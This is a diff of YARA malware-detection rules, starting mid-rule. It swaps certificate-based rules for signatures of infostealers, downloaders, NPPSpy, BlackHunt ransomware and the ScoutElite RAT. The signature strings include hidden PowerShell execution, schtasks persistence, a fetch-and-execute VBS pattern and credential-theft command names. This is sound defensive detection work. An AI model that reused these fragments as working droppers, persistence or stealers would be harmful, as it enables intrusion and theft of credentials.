+                69 00 6f 00 6e 00 2f 00 78 00 2d 00 77 00 77 00
+                77 00 2d 00 66 00 6f 00 72 00 6d 00 2d 00 75 00
+                72 00 6c 00 65 00 6e 00 63 00 6f 00 64 00 65 00
+                64 00 3b 00 20 00 63 00 68 00 61 00 72 00 73 00
+                65 00 74 00 3d 00 75 00 74 00 66 00 2d 00 38 00
+                42 61 00 70 00 70 00 6c 00 69 00 63 00 61 00 74
+                00 69 00 6f 00 6e 00 2f 00 6a 00 73 00 6f 00 6e
+                00 2c 00 20 00 74 00 65 00 78 00 74 00 2f 00 70
+                00 6c 00 61 00 69 00 6e 00 2c 00 20 00 2a 00 2f
+                00 2a }
+		$s8 = /_(SET|GET)_(GRABBER|LOADER)/ wide
+		$s9 = /catch (save )?(windows cred|screen|pluginscrypto|historyCC|autofill|cookies|passwords|passwords sql|autofills sql|dwnlhistory sql|discordToken|quantum|isDropped)/ fullword wide
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Logitech Z-" and pe.signatures[i].serial=="66:39:0f:c1:77:86:d4:a3:42:f0:ee:89:99:6d:65:22")
+		uint16(0)==0x5a4d and (1 of ($x*) or 6 of ($s*))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_00D1737E5A94D2Aff121163Df177Ed7Cf7 : FILE
+rule DITEKSHEN_MALWARE_Win_Graphicalproton_Rsockstun : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
-		author = "ditekSHen"
-		id = "92ba22ba-9610-5b9b-9075-1da84fb148c1"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		description = "Detects GraphicalProton custom rsockstun"
+		author = "ditekShen"
+		id = "5efa85f6-7e73-53a1-92df-4cb975e62345"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7000-L7015"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L11289-L11304"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "7889e42ca0bc6c4aad0c7cf90459958e9d256b984fae719bd418fc17120cb4a2"
+		logic_hash = "ca4d18160b89d82106310237cf81bba57a7f51be77a31d2f18ca8c2987972c2c"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "ed2e4f72e8cb9b008a28b31de440f024381e4c8d"
-		hash1 = "66dfb7c408d734edc2967d50244babae27e4268ea93aa0daa5e6bbace607024c"
-		importance = 20
+
+	strings:
+		$m1 = "main.connectviaproxy" ascii
+		$m2 = "main.connectForSocks" ascii
+		$m3 = "main.listenForClients" ascii
+		$m4 = "main.listenForSocks" ascii
+		$s1 = "Proxy-Authorization: NTLM TlRMTVNTUAABAAAABoIIAAAAAAAAAAAAAAAAAAAAAAA=" ascii
+		$s2 = "Server: nginx/1.14.1" ascii
+		$s3 = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" ascii
+		$s4 = "wine_get" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "BedstSammen ApS" and (pe.signatures[i].serial=="d1:73:7e:5a:94:d2:af:f1:21:16:3d:f1:77:ed:7c:f7" or pe.signatures[i].serial=="00:d1:73:7e:5a:94:d2:af:f1:21:16:3d:f1:77:ed:7c:f7"))
+		uint16(0)==0x5a4d and (( all of ($m*) and 2 of ($s*)) or ( all of ($s*) and 1 of ($m*)) or 7 of them )
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_5Aa94583A95D42F1 : FILE
+rule DITEKSHEN_MALWARE_Win_PWSHDLLDL : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
-		author = "ditekSHen"
-		id = "a77e58c7-c613-5416-9bcd-336c036d99bd"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		description = "Detects downloader"
+		author = "ditekShen"
+		id = "553ed216-c8c2-504f-b689-0e8d21a00eaa"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7017-L7028"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L11306-L11321"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "174ce032fd87028e34843417d5a4695d6d6e2eb444095e005588f1acf291cdf8"
+		logic_hash = "7acef81f0e6e282650c161963599dcbe2b3975d482eb7c330581901b0fe85655"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "0b27715d7c78368bca3ac0bb829a7ceb19b3b5c3"
-		importance = 20
+
+	strings:
+		$s1 = "powershell.exe Set-ExecutionPolicy Bypass -Scope Process ; powershell -file " fullword wide nocase
+		$s2 = "objShell.run \"powershell -WindowStyle hidden -command wscript.exe //b //nologo '" fullword wide nocase
+		$s3 = "cmd.exe /c schtasks.exe /create /tn \"" fullword wide nocase
+		$s4 = "-WindowStyle hidden -command wscript.exe //b //nologo '" fullword wide nocase
+		$s6 = "\" /tr \"wscript.exe //b //nologo '" fullword wide nocase
+		$s7 = "\" -Value \"Powershell.exe -WindowStyle hidden \"\"& '" fullword wide nocase
+		$op0 = { 61 01 00 34 53 79 73 74 65 6d 2e 57 65 62 2e 53 }
+		$op1 = { 4b 04 00 00 34 01 00 00 7f 05 00 00 1a }
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "UInt32" and pe.signatures[i].serial=="5a:a9:45:83:a9:5d:42:f1")
+		uint16(0)==0x5a4d and pe.is_dll() and 5 of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_6Ce7A0C62F27Fa98F78853E1Ad11173F : FILE
+rule DITEKSHEN_MALWARE_Win_Nppspy : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
-		author = "ditekSHen"
-		id = "dd6ba685-deac-5ba0-8268-2ff17f3efc5a"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		description = "Detects NPPSpy / Ntospy"
+		author = "ditekShen"
+		id = "3867ba96-1162-5693-b58e-fc6fa04d880a"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7030-L7041"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L11323-L11343"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "48692213d57293d28d0eb146d24036fa7e7357e55df07330d596a51a0665f063"
+		logic_hash = "53e929b52dddd5e3d060d2dd9937411f1ff215be4d3c67f5935c2a3fbab006d6"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "638dc7cd59f1d634c19e4fc2c41b38ae08a1d2e5"
-		importance = 20
+
+	strings:
+		$s1 = "ntskrnl.dll" fullword ascii
+		$s2 = "PasswordStealing.dll" fullword ascii
+		$s3 = "ntoskrnl.dll" fullword ascii
+		$s4 = "\\programdata\\packag~" ascii
+		$s5 = "NPPSPY.dll" fullword ascii
+		$s6 = "MSControll.dll" fullword ascii
+		$s7 = "\\Windows\\Temp\\" ascii
+		$s8 = "\\NPPSpy\\" ascii
+		$s9 = "NPGetCaps" fullword ascii
+		$s10 = "NPLogonNotify" fullword ascii
+		$path = "\\GrzegorzTworek\\" ascii
 
 	condition:
-		( uint16(0)==0x5a4d or uint32(0)==0xe011cfd0) and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "D&K ENGINEERING" and pe.signatures[i].serial=="6c:e7:a0:c6:2f:27:fa:98:f7:88:53:e1:ad:11:17:3f")
+		uint16(0)==0x5a4d and ((pe.is_dll() and filesize <110KB and pe.number_of_exports==2 and ((pe.exports("NPGetCaps") and pe.exports("NPLogonNotify")) or (1 of ($s*) and (pe.exports("NPGetCaps") or pe.exports("NPLogonNotify"))))) or (($path) and any of ($s*)))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_670C3494206B9F0C18714Fdcffaaa42F : FILE
+rule DITEKSHEN_MALWARE_Win_Agentracoon : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
-		author = "ditekSHen"
-		id = "cbe10923-794e-50f0-bcc7-026ca2235836"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		description = "Detects AgentRacoon. Not Raccoon"
+		author = "ditekShen"
+		id = "cc31bd71-da96-5a3d-b2f1-40f9745d8d46"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7043-L7054"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L11345-L11361"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "5215f3e877ac4b37d33a29f9d2e92567db02f41f5fa1592d2de199ee06b43885"
+		logic_hash = "7ed17a1bc161855f2bdc432952086f3b86b58ae9ea6c0d541544f4b63a8e08e8"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "59612473a9e23dc770f3a33b1ef83c02e3cfd4b6"
-		importance = 20
+
+	strings:
+		$s1 = "UdpClient" fullword ascii
+		$s2 = "IPEndPoint" fullword ascii
+		$s3 = "get_Client" fullword ascii
+		$s4 = "set_ReceiveTimeout" fullword ascii
+		$s5 = "Command failed:" wide
+		$s6 = "uploaded" wide
+		$s7 = "downloaded" wide
+		$s8 = ".telemetry." wide
+		$s9 = "xn--" wide
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "ADRIATIK PORT SERVIS, d.o.o." and pe.signatures[i].serial=="67:0c:34:94:20:6b:9f:0c:18:71:4f:dc:ff:aa:a4:2f")
+		uint16(0)==0x5a4d and 7 of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_5F11C47D3F8C468E5D38279De98078Ce : FILE
+rule DITEKSHEN_MALWARE_Win_Simda : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
-		author = "ditekSHen"
-		id = "d7ec5ceb-df6d-518c-977d-84ab2a40f6ed"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		description = "Detects Simda / Shifu infostealer"
+		author = "ditekShen"
+		id = "892a5ffe-ea1a-5df3-9c36-0198fa61b8b6"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7056-L7067"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L11363-L11379"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "82db6d0b96303be79aa9a0980a4ce491a1216adbba65443e8e59c5cf69a4a1e4"
+		logic_hash = "3f06e86033e8f9534f9904a2a63c4717a9532eb235f6f4405ef1db7d9b93f036"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "29bbee51837dbc00c8e949ff2c0226d4bbb3722c"
-		importance = 20
+
+	strings:
+		$s1 = "command=auth_loginByPassword&back_command=&back_custom1=&" fullword ascii
+		$s2 = "iexplore.exe|opera.exe|java.exe|javaw.exe|explorer.exe|isclient.exe|intpro.exe|ipc_full.exe|mnp.exe|cbsmain.dll|firefox.exe|clma" ascii
+		$s3 = "debug_%s_%s.log" fullword ascii
+		$s4 = "Content-Disposition: form-data; name=\"file\"; filename=\"report\"" ascii
+		$s5 = "name=%s&port=%u" ascii
+		$s6 = "id=%s&ver=4.0.1&up=%u&os=%03u&rights=%s&ltime=%s%d&token=%d" ascii
+		$s7 = "{BotVer:" fullword ascii
+		$s8 = "software\\microsoft\\windows nt\\currentversion\\winlogon" ascii
+		$s9 = /(!|&|data_)inject(=ok)?/ fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Atera Networks LTD." and pe.signatures[i].serial=="5f:11:c4:7d:3f:8c:46:8e:5d:38:27:9d:e9:80:78:ce")
+		uint16(0)==0x5a4d and 6 of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_00Bdb99D5Ecf8271D48E35F1039C2160Ef : FILE
+rule DITEKSHEN_MALWARE_Win_Vbsdownloader : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
-		author = "ditekSHen"
-		id = "a87a3295-fbdb-5501-97a1-7cb23009f925"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		description = "Detects second stage VBS downloader of third stage VBS"
+		author = "ditekShen"
+		id = "480e6872-3a8c-58c5-a455-02342ec7918c"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7069-L7083"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L11381-L11393"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "3a7fd1705d440306e7643167f46b0735bedab291e714cd01068be321f489e3f3"
+		logic_hash = "fee9a78e60d02ff2f03035812af2bf36fe350c70d3e4e094713791833f8ba4d6"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "331f96a1a187723eaa5b72c9d0115c1c57f08b66"
-		importance = 20
+
+	strings:
+		$s1 = "CreateObject(\"MSXML2.ServerXMLHTTP\")" wide
+		$s2 = ".Open \"GET\"," wide
+		$s3 = ".Send" wide
+		$s4 = ".responseText" wide
+		$s5 = "ExecuteGlobal" wide
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Gavrilov Andrei Alekseevich" and (pe.signatures[i].serial=="bd:b9:9d:5e:cf:82:71:d4:8e:35:f1:03:9c:21:60:ef" or pe.signatures[i].serial=="00:bd:b9:9d:5e:cf:82:71:d4:8e:35:f1:03:9c:21:60:ef"))
+		filesize <50KB and all of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_025020668F51235E9Ecfff8Cf00Da63E : FILE
+rule DITEKSHEN_MALWARE_Win_Umbralstealer : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
-		author = "ditekSHen"
-		id = "5b9af281-09b0-5df5-af3b-4868a7243636"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		description = "Detects Umbral infostealer"
+		author = "ditekShen"
+		id = "695a350b-3d8e-5244-a275-a60202a8e956"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7085-L7096"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L11395-L11416"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "c99caf6ada228fe1229ea8e8ca0b160468f044a9a1e13ed9a83c12afeae337a1"
+		logic_hash = "1686e4626e4d6335f028d6cb6471c32dac747a77fc95d97b4c9dfd043ba975e9"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "59f82837fa672a81841d8fa4d3ba290395c10200"
-		importance = 20
+
+	strings:
+		$x1 = "Umbral Stealer" wide
+		$x2 = "Umbral.payload." ascii
+		$s1 = "U2V0LU1wUHJlZmVyZW5jZ" wide
+		$s2 = "{{ Key = {0}, Value = {1} }}" wide
+		$s3 = "csproduct get uuid" wide
+		$s4 = "0.0.0.0 www."
+		$s5 = /(set|get)_Take(Screen|WebcamSnap)shot/ fullword ascii
+		$s6 = "still_pin" fullword ascii
+		$c1 = "kaspersky.com" wide
+		$c2 = "bitdefender.com" wide
+		$c3 = "virustotal.com" wide
+		$c4 = "malwarebytes.com" wide
+		$c5 = "clamav.net" wide
+		$c6 = "trendmicro.com" wide
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Knassar DK ApS" and pe.signatures[i].serial=="02:50:20:66:8f:51:23:5e:9e:cf:ff:8c:f0:0d:a6:3e")
+		uint16(0)==0x5a4d and (1 of ($x*) or 5 of ($s*) or (3 of ($s*) and 4 of ($c*)))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_00Cfae7E6F538B9F2E : FILE
+rule DITEKSHEN_MALWARE_Win_Metastealer : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects MetaStealer infostealer"
 		author = "ditekSHen"
-		id = "c144fe64-ad45-5ac6-b2ee-904a66230674"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "46aa30c1-12c2-56df-8c65-0b96147f9051"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7098-L7112"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L11418-L11441"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "23032d387bbfc81edb08982a196b90a136faf935d74c46771c59ef19095ac3a4"
+		logic_hash = "260c6d90a89ddb6219a5cbad18058e41611ae2dc68a8d4e589fa6ca81853752f"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "3152fc5298e42de08ed2dec23d8fefcaa531c771"
-		importance = 20
+
+	strings:
+		$s1 = "! #\"'&(&*)>=@?POQOROSOTOUOVOWOXOYOZO[O^]{z|z}z~z" fullword wide
+		$s2 = "{0}{1}{2}" fullword wide
+		$s3 = "localhost" fullword wide
+		$s4 = "\\tdata" fullword wide
+		$s5 = "DecryptBlob" fullword ascii
+		$s6 = "GetMac" fullword ascii
+		$s7 = "GetHdc" fullword ascii
+		$s8 = "FindProc" fullword ascii
+		$s9 = "targetPid" fullword ascii
+		$s10 = "MessageSecurityOverTcp" fullword ascii
+		$s11 = "ListOfProcesses" fullword ascii
+		$s12 = "ListOfPrograms" fullword ascii
+		$s13 = "browserPaths" fullword ascii
+		$s14 = "configs" fullword ascii
+		$s15 = "scanners" fullword ascii
+		$s16 = "FileScannerRule" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "SequenceDesigner" and (pe.signatures[i].serial=="cf:ae:7e:6f:53:8b:9f:2e" or pe.signatures[i].serial=="00:cf:ae:7e:6f:53:8b:9f:2e"))
+		uint16(0)==0x5a4d and 7 of ($s*)
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_0Bc9B800F480691Bd6B60963466B0C75 : FILE
+rule DITEKSHEN_MALWARE_Win_Mediapi : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects MediaPI"
 		author = "ditekSHen"
-		id = "ff76c8b3-8120-54ed-90e1-3ee01e57895e"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "95db8772-1bcd-5eea-956c-c9578b8e1329"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7114-L7125"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L11443-L11457"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "15143a6dc374f22252880ce61a419df46d81bc1ee99a29d03a61348f9c230064"
+		logic_hash = "2bce0a96b45e46c0cbd913dacb3dfe7ae1b519102d637e0fd9dabe2008037d94"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "8b6c4fc3d54f41ac137795e64477491c93bdf7f1"
-		importance = 20
+
+	strings:
+		$s1 = "SomeFunction" ascii
+		$s2 = "\"stealth" ascii
+		$s3 = "\"ServAddr" ascii
+		$s4 = "\"ServPort" ascii
+		$s5 = "\"ServIp" ascii
+		$s6 = "\"wsaData" ascii
+		$s7 = "\"-socket" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "HasCred ApS" and pe.signatures[i].serial=="0b:c9:b8:00:f4:80:69:1b:d6:b6:09:63:46:6b:0c:75")
+		uint16(0)==0x5a4d and pe.is_dll() and ((6 of them ) or (3 of them and pe.exports("SomeFunction")))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_69Ad1E8B5941C93D5017B7C3Fdb8E7B6 : FILE
+rule DITEKSHEN_MALWARE_Win_Blackhunt : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects BlackHunt ransomware"
 		author = "ditekSHen"
-		id = "4b961b30-dc0d-513c-8a66-ed8fe71f5439"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "4bdb26dd-a424-54a6-b313-e98bdf18cfce"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7127-L7138"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L11459-L11474"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "1a37133dcc7af9c3f229f517dca847d7c007b8a2fdc6af50721d68f68c5d9c20"
+		logic_hash = "62e9bc505eff3e19ff0cdaf180e45e6d7917f0bec7cd9b007bee9fe1d9d09b66"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "9b6f3b3cd33ae938fbc5c95b8c9239bac9f9f7bf"
-		importance = 20
+
+	strings:
+		$s1 = /#BlackHunt_(Logs|BG|Icon|Public|Private|ID|ReadMe|Update)\.(txt|jpg|ico|key|hta)/ ascii wide
+		$s2 = /-(biggame|noencrypt|netinfo|nospread)/ fullword wide
+		$s3 = "/v \"*BlackHunt\" /t REG_SZ /d" wide
+		$s4 = "/sc onstart /TN \"Windows Critical Update\" /TR \"'%s' %s\" /F" wide
+		$s5 = "/v \"DisableChangePassword\" /t REG_DWORD /d" wide
+		$s6 = "<span> %s </span>this ID (<span> %s </span>)" wide
+		$s7 = "}div.header h1 span#hunter" wide
+		$s8 = "BLACK_HUNT_MUTEX" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Afia Wave Enterprises Oy" and pe.signatures[i].serial=="69:ad:1e:8b:59:41:c9:3d:50:17:b7:c3:fd:b8:e7:b6")
+		uint16(0)==0x5a4d and 4 of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_072472F2386F4608A0790Da2Be8A48F7 : FILE
+rule DITEKSHEN_MALWARE_Win_Scoutelite : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects ScoutElite"
 		author = "ditekSHen"
-		id = "79f1e6da-003a-5291-a60c-7693ca2efbeb"
-		date = "2023-12-08"
-		modified = "2023-12-08"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7140-L7151"
+		id = "989f558b-f84c-5f64-b85d-618d83f96782"
+		date = "2024-05-28"
+		modified = "2024-05-28"
+		reference = "https://github.com/ditekshen/back-in-2017"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L11476-L11549"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "32b61f42ee9f3109c747e8a159376d03349d8a5061be0c31504e929cb3c3042e"
+		logic_hash = "935bd891a9b68cb6ddad86db843de624f3a7ec0824f2b4c6ff0da56422b79668"
 		score = 75
-		quality = 75
+		quality = 50
 		tags = "FILE"
-		thumbprint = "e2a79e70b7a16a6fc2af7fbdc3d2cbfd3ef66978"
-		importance = 20
 
-	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "FOXIT SOFTWARE INC." and pe.signatures[i].serial=="07:24:72:f2:38:6f:46:08:a0:79:0d:a2:be:8a:48:f7")
+	strings:
+		$cmd1 = "command=scote_ping" fullword ascii
+		$cmd2 = "command=scote_info_ipconfig" fullword ascii
+		$cmd3 = "command=scote_info_systeminfo" fullword ascii
+		$cmd4 = "command=scote_connection|hwid=" fullword ascii
+		$cmd5 = "command=ping" fullword wide
+		$cmd6 = "command=screen_capture_init" fullword wide
+		$cmd7 = "command=screen_capture" fullword wide
+		$cmd8 = "command=silence_screenshot" fullword wide
+		$cmd9 = "command=silence_keylogger" fullword wide
+		$cmd10 = "command=silence_password" fullword wide
+		$cmd11 = "command=screen_thumb" fullword wide
+		$cmd12 = "command=filemanager_upload_tcp" fullword wide
+		$cmd13 = "command=filemanager_download" fullword wide
+		$cmd14 = "command=filemanager_init" fullword wide
+		$cmd15 = "command=filemanager_root" fullword wide
+		$cmd16 = "command=filemanager_folder_filemanager_file" fullword wide
+		$cmd17 = "command=filemanager_thumb" fullword wide
+		$cmd18 = "command=keylogger_init" fullword wide
+		$cmd19 = "command=keylogger_file" fullword wide
+		$cmd20 = "command=password_firefox" fullword wide
+		$cmd21 = "command=password_opera" fullword wide
+		$cmd22 = "command=password_chrome" fullword wide
+		$cmd23 = "command=password_all" fullword wide
+		$cmd24 = "command=password_init" fullword wide
+		$cmd25 = "command=misc_init" fullword wide
+		$cmd26 = "command=misc_process" fullword wide
+		$cmd27 = "command=misc_cmd" fullword wide
+		$cmd28 = "command=new_rcs" fullword wide
+		$cmd29 = "command=microphone_capture" fullword wide
+		$cmd30 = "command=microphone_capture_init" fullword wide
+		$cmd31 = "command=rvmedia_capture_init" fullword wide
+		$cmd32 = "command=rvmedia_list" fullword wide
+		$cmd33 = "command=rvmedia_resolution" fullword wide
+		$cmd34 = "command=webcam_capture_init" fullword wide
+		$cmd35 = "command=webcam_list" fullword wide
+		$cmd36 = "command=webcam_resolution" fullword wide
+		$cmd37 = "command=webcam_capture" fullword wide
+		$gcmd1 = "filemanager_download_ftp" fullword wide
+		$gcmd2 = "download_file_ftp" fullword wide
+		$gcmd3 = "filemanager_upload_http" fullword wide
+		$gcmd4 = "upload_file_http" fullword wide
+		$gcmd5 = "upload_url" fullword wide
+		$gcmd6 = "filemanager_delete" fullword wide
+		$gcmd7 = "filemanager_execute_file" fullword wide
+		$gcmd8 = /(microphone|webcam|rvmedia|keylogger|password|screen|filemanager)_(host|port|guid)/ nocase
+		$confs1 = "[nick_name]" fullword ascii
+		$confe1 = "[/nick_name]" fullword ascii wide
+		$confs2 = "[install_name]" fullword ascii wide
+		$confe2 = "[/install_name]" fullword ascii wide
+		$confs3 = "[install_folder]" fullword ascii wide
+		$confe3 = "[/install_folder]" fullword ascii wide
+		$confs4 = "[reg_startup]" fullword ascii wide
+		$confe4 = "[/reg_startup]" fullword ascii wide
+		$confs5 = "[folder_startup]" fullword ascii wide
+		$confe5 = "[/folder_startup]" fullword ascii wide
+		$confs6 = "[task_startup]" fullword ascii wide
+		$confe6 = "[/task_startup]" fullword ascii wide
+		$confs7 = "[injection]" fullword ascii wide
+		$confe7 = "[/injection]" fullword ascii wide
+		$confs8 = "[injection_process]" fullword ascii wide
+		$confe8 = "[/injection_process]" fullword ascii wide
+		$confs9 = "[connection]" fullword ascii wide
+		$confe9 = "[/connection]" fullword ascii wide
+
+	condition:
+		( uint16(0)==0x5a4d and (2 of ($cmd*) or 7 of ($gcmd*) or (2 of ($confs*) and 2 of ($confe*)) or (pe.exports("__elite") and 2 of them ))) or (15 of them )
 }
 import "pe"
 
